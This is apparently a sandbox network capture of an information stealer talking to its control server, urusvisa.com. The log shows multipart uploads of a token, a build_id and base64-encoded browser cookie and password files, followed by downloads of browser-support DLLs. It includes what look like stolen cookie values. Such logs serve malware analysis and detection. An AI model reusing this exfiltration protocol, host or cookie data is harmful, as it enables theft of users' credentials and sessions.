Sep 30, 2024 13:59:21.391155958 CEST	7641	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------GCGDGHCBGDHJJK
Sep 30, 2024 13:59:22.059564114 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:22.061405897 CEST	94	OUT	GET /sql.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:22.251000881 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:22 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Sep 30, 2024 13:59:22.251029968 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%oR}r
Sep 30, 2024 13:59:22.251044989 CEST	128	IN	Data Raw: e9 de dd 1a 00 e9 38 5b 1e 00 e9 03 3c 1c 00 e9 d8 5a 1b 00 e9 36 f6 1d 00 e9 a1 53 1c 00 e9 fd 8f 1c 00 e9 5c c1 1b 00 e9 7e a0 1a 00 e9 cf ff 1e 00 e9 f6 9f 1a 00 e9 68 00 1e 00 e9 b8 b0 1f 00 e9 32 5a 1d 00 e9 43 81 1e 00 e9 c5 06 1b 00 e9 b0 Data Ascii: 8[<Z6S\~h2ZC;<V.++-9nq
Sep 30, 2024 13:59:24.259447098 CEST	1008	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGC Host: urusvisa.com Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 [TRUNCATED] Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file_name"Q29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file_data"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------DBGIJEHIIDGCFHIEGDGC--
Sep 30, 2024 13:59:24.968717098 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:25.062994957 CEST	616	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECF Host: urusvisa.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 [TRUNCATED] Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="file_data"------CBAKEBGIIDAFIDHIIECF--
Sep 30, 2024 13:59:25.795552015 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:25.921189070 CEST	616	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHD Host: urusvisa.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 [TRUNCATED] Data Ascii: ------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="file_data"------BAKEBFBAKKFCBGDHDGHD--
Sep 30, 2024 13:59:26.655759096 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:26.735786915 CEST	98	OUT	GET /freebl3.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:26.926311016 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:26 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 30, 2024 13:59:27.405870914 CEST	98	OUT	GET /mozglue.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:27.595907927 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:27 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 30, 2024 13:59:27.984383106 CEST	99	OUT	GET /msvcp140.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:28.253045082 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:28 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 30, 2024 13:59:28.467683077 CEST	99	OUT	GET /softokn3.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:28.657536030 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:28 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 30, 2024 13:59:28.766868114 CEST	103	OUT	GET /vcruntime140.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:28.958453894 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:28 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 30, 2024 13:59:28.971672058 CEST	95	OUT	GET /nss3.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:29.161843061 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:29 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 30, 2024 13:59:30.831765890 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBGHDBKEBGIDHJJEHCA Host: urusvisa.com Content-Length: 1025 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:31.704863071 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:32.037283897 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBA Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="mode"3------BGDAAEHDHIIJKECBKEBA--
